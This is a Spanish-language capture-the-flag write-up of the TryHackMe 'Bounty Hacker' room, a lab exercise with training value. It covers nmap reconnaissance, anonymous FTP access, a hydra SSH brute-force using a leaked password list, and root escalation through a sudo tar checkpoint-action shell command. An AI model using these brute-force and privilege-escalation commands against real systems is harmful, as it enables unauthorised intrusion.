Bounty Hacker


January 8, 20233 minutes

https://tryhackme.com/room/cowboyhacker

IP Atacante = 10.10.10.10

IP Víctima = 10.10.131.60

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

❯ ping -c 1 10.10.131.60
PING 10.10.131.60 (10.10.131.60) 56(84) bytes of data.
64 bytes from 10.10.131.60: icmp_seq=1 ttl=63 time=57.5 ms

--- 10.10.131.60 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 57.483/57.483/57.483/0.000 ms

En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación

Escaneo de puertos (nmap)

Ahora empezamos con un escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.131.60 -oG allPorts
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
-sS –min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnSkip host discovery
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
   1   2[*] Extracting information...
   3   4[*] IP Address: 10.10.131.60
   5[*] Open ports: 21,22,80
   6   7[*] Ports copied to clipboard
   8───────┴─────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos

❯ nmap -p21,22,80 -sC -sV 10.10.131.60
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.18.80.135
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dcf8dfa7a6006d18b0702ba5aaa6143e (RSA)
|   256 ecc0f2d91e6f487d389ae3bb08c40cc9 (ECDSA)
|_  256 a41a15a5d4b1cf8f16503a7dd0d813c2 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP

El nmap reporto que podemos acceder al ftp como anonymous.

Al entrar vemos dos archivos los cuales nos podemos pasar con get a nuestra máquina

En el archivo locks.txt vemos que hay una lista de a lo mejor posibles contraseñas y en el task.txt vemos lo siguiente


1.) Protect Vicious.

2.) Plan for Red Eye pickup on the moon.

-lin


1.) Proteger a Vicious.

2.) Plan para recoger a Red Eye en la luna.

-lin


Ya tenemos un usuario (lin)

SSH

Con hydra vamos a intentar hacer fuerza bruta al usuario lin con las posibles contraseñas del logs.txt que nos hemos pasado anteriormente a nuestra máquina

hydra -l lin -P locks.txt 10.10.131.60 ssh -t 40

Ya tenemos la contraseña

Escalada de privilegios

Con sudo -l y proporcionando la contraseña que hemos encontrado anteriormente vemos que el usuario lin puede ejecutar tar como root.

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Ya somos root